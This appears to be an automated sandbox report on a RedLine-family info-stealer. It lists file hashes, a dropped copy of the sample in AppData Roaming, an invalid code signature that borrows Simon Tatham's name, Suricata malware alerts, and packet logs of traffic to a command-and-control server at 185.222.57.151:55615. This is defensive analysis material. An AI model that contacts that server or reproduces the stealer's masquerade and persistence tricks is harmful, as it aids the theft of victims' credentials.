SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFAF9.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\LjGABleGAy.exe

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	563720
Entropy (8bit):	7.918041515283847
Encrypted:	false
SSDEEP:	12288:1Y5Q6QFm4SY+aZrwrLVRqRNlom98NGykPI7MqXb39bNjgJaXukR:u4/4rLVRqhoKIGNIgqxRiO1
MD5:	304EA6D5CF3786D19DE14F004D7D057A
SHA1:	D86DDB3BECC0A82C915BE35E7A7DCD796B50C269
SHA-256:	89DD158D0FFDB6D661672343D36F5A87907E1CC60A0E9E85C892F75228EB399B
SHA-512:	4C0731A52E57E429D1001DA518066C073CEB0C9C91992E66DC674C3DFC352156E48DC22DC5482310D2C0CE38A2E87AACE2DCFA7A9E6915D1BDE3EEE7BC8D3C08
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 43%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...LT.f..............0..D...........b... ........@.. ....................................@.................................@b..O....................d...6........................................................... ............... ..H............text....B... ...D.................. ..`.rsrc................F..............@..@.reloc...............b..............@..B................tb......H.......@z...P......?...(...............................................^..}.....(.......(......0..+.........,..{.......+....,...{....o........(.......0...........s.....s.....s..........(....s......s....}.....s....}.....{....o .....{....o .....(!.....{.....o".....{.....o#.....{.....o$.....{.....o%.....{......s&...o'.....{........s(...o).....{....r...po*.....{.... .... I...s+...o,.....{.....o-.....r...po......{....o/....o0.....r1..po......{....o1....o2.....{..... ..s&...o'..

C:\Users\user\AppData\Roaming\LjGABleGAy.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.918041515283847
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	RgIbrhxoEx.exe
File size:	563'720 bytes
MD5:	304ea6d5cf3786d19de14f004d7d057a
SHA1:	d86ddb3becc0a82c915be35e7a7dcd796b50c269
SHA256:	89dd158d0ffdb6d661672343d36f5a87907e1cc60a0e9e85c892f75228eb399b
SHA512:	4c0731a52e57e429d1001da518066c073ceb0c9c91992e66dc674c3dfc352156e48dc22dc5482310d2c0ce38a2e87aace2dcfa7a9e6915d1bde3eee7bc8d3c08
SSDEEP:	12288:1Y5Q6QFm4SY+aZrwrLVRqRNlom98NGykPI7MqXb39bNjgJaXukR:u4/4rLVRqhoKIGNIgqxRiO1
TLSH:	4CC4238247B89F06CC766FF565618451CFB3BA3E9612C78E0ED250CD2AD2B806312E5F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...LT.f..............0..D...........b... ........@.. ....................................@................................

File Icon


Icon Hash:	3570b480858580c5

Static PE Info

General

Entrypoint:	0x486292
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A0544C [Wed Jul 24 01:09:32 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/11/2018 01:00:00 09/11/2021 00:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x86240	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x88000	0x1a90	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x86400	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8a000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x84298	0x84400	47a9d733aaf1a286ef3613a2d7639729	False	0.9371547879253308	data	7.9275615283647385	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x88000	0x1a90	0x1c00	9d287d3493c1f36b4b63739a7b10d877	False	0.7892020089285714	data	7.256872537280392	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8a000	0xc	0x200	9f9ad7bd097fddfbb7d07f5e7b6c4eaf	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x88118	0x162c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.906800563777308
RT_GROUP_ICON	0x89744	0x14	data	0.9
RT_GROUP_ICON	0x89758	0x14	data	1.05
RT_VERSION	0x8976c	0x324	data	0.43905472636815923

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-27T04:12:23.889248+0200	TCP	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	55615	49709	185.222.57.151	192.168.2.5
2024-07-27T04:12:59.540993+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49719	40.127.169.103	192.168.2.5
2024-07-27T04:12:18.578362+0200	TCP	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	49708	55615	192.168.2.5	185.222.57.151
2024-07-27T04:12:18.878917+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49709	55615	192.168.2.5	185.222.57.151
2024-07-27T04:12:27.258175+0200	TCP	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	55615	49709	185.222.57.151	192.168.2.5
2024-07-27T04:12:20.154106+0200	TCP	2848200	ETPRO MALWARE RedLine - GetUpdates Request	49711	55615	192.168.2.5	185.222.57.151
2024-07-27T04:12:18.200600+0200	TCP	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	55615	49706	185.222.57.151	192.168.2.5
2024-07-27T04:12:27.715047+0200	TCP	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	49718	55615	192.168.2.5	185.222.57.151
2024-07-27T04:12:14.694601+0200	TCP	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	55615	49706	185.222.57.151	192.168.2.5
2024-07-27T04:12:09.597710+0200	TCP	2849662	ETPRO MALWARE RedLine - CheckConnect Request	49706	55615	192.168.2.5	185.222.57.151
2024-07-27T04:12:24.113320+0200	TCP	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	49709	55615	192.168.2.5	185.222.57.151
2024-07-27T04:12:21.374284+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49710	40.127.169.103	192.168.2.5
2024-07-27T04:12:14.910173+0200	TCP	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	49706	55615	192.168.2.5	185.222.57.151

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 04:12:08.948276997 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:08.954782963 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:08.954907894 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:08.972822905 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:08.977691889 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:09.332573891 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:09.337548018 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:09.555092096 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:09.597709894 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:14.689630985 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:14.689677954 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:14.694601059 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:14.694803953 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:14.861968040 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:14.910172939 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:14.959398031 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:14.959440947 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:14.959476948 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:14.959494114 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:14.959512949 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:14.959547997 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:14.959556103 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:14.959584951 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:14.959628105 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:15.037091970 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:15.037133932 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:15.037192106 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:15.037225008 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:15.037259102 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:15.037281990 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:15.037291050 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:15.037292004 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:15.037333965 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.157958984 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.158338070 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.163228035 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.163297892 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.164112091 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.168864012 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.200599909 CEST	55615	49706	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.200671911 CEST	49706	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.203702927 CEST	49709	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.208502054 CEST	55615	49709	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.208595991 CEST	49709	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.217052937 CEST	49709	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.221951962 CEST	55615	49709	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.519849062 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.525105000 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.525122881 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.525135994 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.525141001 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.525152922 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.525177956 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.525197983 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.525233984 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.525247097 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.525274038 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.525285959 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.525310993 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.525331974 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.525507927 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.525650978 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.530078888 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.530157089 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.530169010 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.530199051 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.530226946 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.530272961 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.530286074 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.530297041 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.530334949 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.566603899 CEST	49709	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.571732044 CEST	55615	49709	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.578200102 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.578361988 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.626152039 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.626581907 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.638618946 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.638968945 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.644191027 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644203901 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644216061 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644227028 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644238949 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644267082 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.644330025 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644330978 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.644340992 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644354105 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644366026 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644376993 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644387007 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.644387960 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644409895 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644413948 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.644421101 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644423008 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.644432068 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644445896 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644468069 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644504070 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.644522905 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644534111 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644546032 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644736052 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644747972 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644789934 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.644799948 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644810915 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644850016 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.644861937 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644871950 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.644920111 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.644951105 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.644963026 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.645045042 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.645056009 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.645071030 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.645114899 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.650490046 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.650645971 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.650706053 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.650849104 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.650942087 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.650954962 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.650965929 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.650995016 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651006937 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651037931 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651073933 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.651091099 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651104927 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651115894 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651143074 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651154041 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651165009 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651187897 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.651238918 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651251078 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651261091 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.651299000 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651309967 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651318073 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.651321888 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651360035 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.651602983 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651614904 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651626110 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651638031 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651648998 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651659966 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651670933 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651670933 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.651681900 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651684999 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.651693106 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651705027 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651715994 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651726961 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651729107 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.651737928 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651750088 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651752949 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.651762009 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651772976 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651782990 CEST	49708	55615	192.168.2.5	185.222.57.151
Jul 27, 2024 04:12:18.651784897 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651796103 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651806116 CEST	55615	49708	185.222.57.151	192.168.2.5
Jul 27, 2024 04:12:18.651807070 CEST	49708	55615	192.168.2.5	185.222.57.151
